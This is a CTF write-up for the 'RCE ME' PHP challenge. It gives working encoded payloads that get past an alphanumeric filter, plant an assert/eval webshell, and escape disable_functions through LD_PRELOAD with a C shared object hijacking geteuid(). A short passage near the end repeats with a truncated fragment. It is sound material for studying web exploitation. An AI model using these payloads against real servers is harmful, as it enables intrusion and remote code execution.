Summarized by [geek challenge 2019]RCE ME disable_functions bypass

Summarized by [geek challenge 2019]RCE ME disable_functions bypass

source code

<?php
error_reporting(0);
if(isset($_GET['code'])){      
	$code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }          
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }          
    @eval($code);
}else{
    highlight_file(__FILE__);
}
// ?>

First, disable_functions

bypass

Adopt the method of inversion or XOR bypass

?code=(~%8F%97%8F%96%91%99%90)();

disable_functions

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

Construct webshell

?code=assert(eval($_POST[cmd]));
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

After connecting, the webshell has no permission and cannot execute most commands

We need special means -- using LD_preload hijacks the function call of the child process, and briefly introduces its principle at the end.

EXP of GITHUB

/tmp / and / var/tmp / both have upload permission to upload malicious so and php scripts

Using inversion (or XOR), variable splicing and pair_ GET parameter passing check vulnerability to bypass

  • Target payload
?code=${_GET}[_](${_GET}[_]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
  • Inversion method
?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
  • XOR method
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

Supplement 1: ~ and ^ bypass

Deception and availability verification

After receiving the encoding, php will automatically decode the encoding once. If the decoded string does not contain the filtered characters (including ~ or ^), the bypass can be completed

  • Filtering or regular matching is the filtering of ordinary strings containing negation or XOR operators.
  • If the operation generates_ GET and other variables, the script has completed the operation and parsing, and the corresponding variables are stored in the_ GET array.
  • If an eval statement is generated, the executable string generated by the temporary operation will also be executed during eval.
var_dump($_GET);
echo "</br>";
echo preg_match("/[A-Za-z0-9]+/",$_GET["code"]);
echo "</br>".$_GET[_];

Local test 1

_GET
http://127.0.0.1/1.php?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=flag1&__=flag2

Local test 2(eval)

phpinfo()
http://127.0.0.1/1.php?code=(~%8F%97%8F%96%91%99%90)();

Reverse bypass

urlencode(~'_GET');

Generate an inverted code. When uploading, you only need to

?code=(~xxxxxxxxxxxxx)

Why not decode it?

Because after we pass the parameters, php will automatically decode the url encoding in the string. We just need to take the inverse.

echo $_GET['code'];
echo "\n".~$_GET['code'];

// Output:
//������� 
//phpinfo

XOR bypass

Suppose we want to construct two that can be XOR_ GET string

We can use the reversibility of XOR operation to set an encryption string first

$a = '_GET';
$b = '2333';
$c = $a^$b;
echo $c;
// $c is mtvg

verification

$a = '_GET';
$b = '2333';
$c = 'mtvg';
$d = $c^$b;
echo $d;
echo  $d === $a;

// Output as_ GET and 1

Supplement 2: using LD_PRELOAD bypasses the disable function

Some references in this section Explain in simple terms_ PRELOAD & putenv() We hereby attach the chain

Currently known functions

  • Bypass the restrictions of open basedir on accessing directories
  • Bypass disable functions
  • Complete RCE

usability

  • LD_ The SO specified by preload is loaded before all SO (earlier than the system SO) and called before other files are called
  • SO can be used to rewrite and replace system functions
  • After the hijacking is completed, the new sub process loads our malicious SO and calls our hijacked function

Utilization method

  • Some folders have upload and access (above) permissions
  • Using putenv, we can add the setting to the environment variable of the server, but the environment variable only survives during the request. We can use it to set LD_PRELOAD is a malicious path.
  • Find the common methods available under the current permission (direct call or indirect call, just trigger), rewrite the method, generate evli shared (malicious so), turn the normal function into hijacked functions, and hijack the API functions called by the child process.
  • Use the subprocess to call the function and trigger the specific shared library to complete rce (such as importing the read file log into the readable folder)
  • Eliminate LD at the same time_ Preload prevents the call from falling into a loop

Write examples (indirect use)

Trace php's mail() function through strand. It will start the child process to call sendmail. It is found that it calls geteuid () (there are many more available), which can be used

libraries: hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

compile

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

Run script (child process)

<?php
putenv("LD_PRELOAD=./hack.so");		// Add hack So to environment variable
mail('','','','');			// Trigger a child process to call our malicious function
?>

You can see the output of ls in / tmp/sky

However, this method is not omnipotent. The GITHUB script shared above describes the shortcomings and limitations of sendmail method, which can be viewed by yourself

  • __ attribute__((constructor)) is called after loading the OS
  • Elimination of LD by non functional environ_ Preload environment variable
  • PHP does not have any webshell feature function, which is in SO

Slightly related science popularization

What is SO file

Briefly introduce ELF format files in Linux

ute__((constructor)) is called after loading the OS

  • Elimination of LD by non functional environ_ Preload environment variable
  • PHP does not have any webshell feature function, which is in SO

Slightly related science popularization

What is SO file

Briefly introduce ELF format files in Linux

Keywords: Web Development security RCE

Added by Ofro04 on Tue, 01 Feb 2022 11:38:04 +0200